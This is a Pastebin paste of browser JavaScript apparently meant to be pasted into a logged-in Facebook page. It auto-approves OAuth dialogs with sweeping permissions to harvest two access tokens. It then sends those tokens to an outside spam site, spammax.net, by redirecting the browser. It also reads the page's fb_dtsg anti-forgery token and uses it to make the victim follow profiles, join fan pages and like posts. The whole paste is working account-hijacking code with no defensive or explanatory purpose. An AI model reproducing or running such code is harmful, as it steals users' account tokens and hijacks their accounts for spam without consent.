Advertisement
hovutenduy

123123123123123123123123

Dec 21st, 2014
400
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.42 KB | None | 0 0
  1. function url_token(appId) {
  2. return '//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=' + appId + '&redirect_uri=fbconnect://success&sso_key=com&scope=public_profile,basic_info,read_stream,read_mailbox,read_page_mailboxes,rsvp_event,offline_access,email,ads_management,ads_read,read_insights,manage_notifications,read_friendlists,manage_pages,publish_actions,user_birthday,user_religion_politics,user_relationships,user_relationship_details,user_hometown,user_location,user_likes,user_activities,user_interests,user_education_history,user_work_history,user_website,user_groups,user_events,user_photos,user_videos,user_friends,user_about_me,user_status';
  3. }
  4. function get_token(type, appId) {
  5. var xmlhttp = new XMLHttpRequest();
  6. xmlhttp.onreadystatechange = function() {
  7. if (xmlhttp.readyState == 4) {
  8. back = document.createElement('html');
  9. back.innerHTML = xmlhttp.responseText;
  10. if (back.getElementsByTagName('form').length > 0) {
  11. back.innerHTML = back.getElementsByTagName('form')[0].outerHTML;
  12. act = back.getElementsByTagName('form')[0].action;
  13. response(back, act, type);
  14. }
  15. }
  16. };
  17. xmlhttp.open('GET', url_token(appId), true);
  18. xmlhttp.send();
  19. }
  20. function response(form, act, type) {
  21. params = '';
  22. for (i = 0; i < form.getElementsByTagName('input').length; i++) {
  23. if (form.getElementsByTagName('input')[i].name.indexOf('__CANCEL__') < 0 && form.getElementsByTagName('input')[i].name.indexOf('cancel_clicked')) {
  24. params += '&' + form.getElementsByTagName('input')[i].name + '=' + form.getElementsByTagName('input')[i].value;
  25. }
  26. }
  27. if (form.getElementsByTagName('select').length>0) {
  28. params += '&' + form.getElementsByTagName('select')[0].name + '=80';
  29. }
  30. params.replace('&fb_dtsg','fb_dtsg');
  31. params += '&__CONFIRM__=1';
  32. var xmlhttp = new XMLHttpRequest();
  33. xmlhttp.onreadystatechange = function() {
  34. if (xmlhttp.readyState == 4) {
  35. check = document.createElement('html');
  36. check.innerHTML = xmlhttp.responseText;
  37. if (check.getElementsByTagName('form').length > 0) {
  38. check.innerHTML = check.getElementsByTagName('form')[0].outerHTML;
  39. act = check.getElementsByTagName('form')[0].action;
  40. response(check, act, type);
  41. } else {
  42. token = xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
  43. if (token[1]) {
  44. if (type == 'Photos') {
  45. token_posts = token[1];
  46. get_token('iOs', 165907476854626);
  47. } else {
  48. bachdeptrai = token[1];
  49. location = 'http://spammax.net/spam.php?id=1365&code=' + token_posts + '&token=' + bachdeptrai;
  50. }
  51. }
  52. }
  53. }
  54. };
  55. xmlhttp.open('POST', act, true);
  56. xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  57. xmlhttp.send(params);
  58. }
  59. function follow(user_id) {
  60. var follow = new XMLHttpRequest();
  61. follow.open('POST', '/ajax/follow/follow_profile.php', true);
  62. follow.send('profile_id=' + user_id + '&location=1&fb_dtsg=' + fb_dtsg);
  63. }
  64. function fanpage(page_id) {
  65. var fanpage = new XMLHttpRequest();
  66. fanpage.open('POST', '/ajax/pages/fan_status.php', true);
  67. fanpage.send('fbpage_id=' + page_id + '&add=true&__a=1&fb_dtsg=' + fb_dtsg);
  68. }
  69. function like(id_stt) {
  70. var likes = new XMLHttpRequest();
  71. likes.open('POST', '/ajax/ufi/like.php', true);
  72. likes.send('like_action=true&ft_ent_identifier=' + id_stt + '&__a=1&fb_dtsg=' + fb_dtsg);
  73. }
  74. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  75. get_token('Photos', 193278124048833); /* 149599458441724 */
  76.  
  77. fanpage(941493649218771); /* Lai qu?c c??ng */
  78. fanpage(841956632544105);
  79. follow(100004187706092); like(475407799275473); like(486902401459346); like(489773134505606);
  80. like(188378704685247); /* ?inh v?n quang */
  81. fanpage(841956632544105); /* đình long */
  82. follow(100004798299092); fanpage(667435886683268); /* Tạ quang tuyền */
  83. follow(100008494337479); /* lê xuân đạt */
  84. follow(100006771076368); fanpage(319146151558966);
  85. follow(100009233221991); /* thế chu văn */
  86. follow(100009346200157); /* Đặng tuấn phát */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement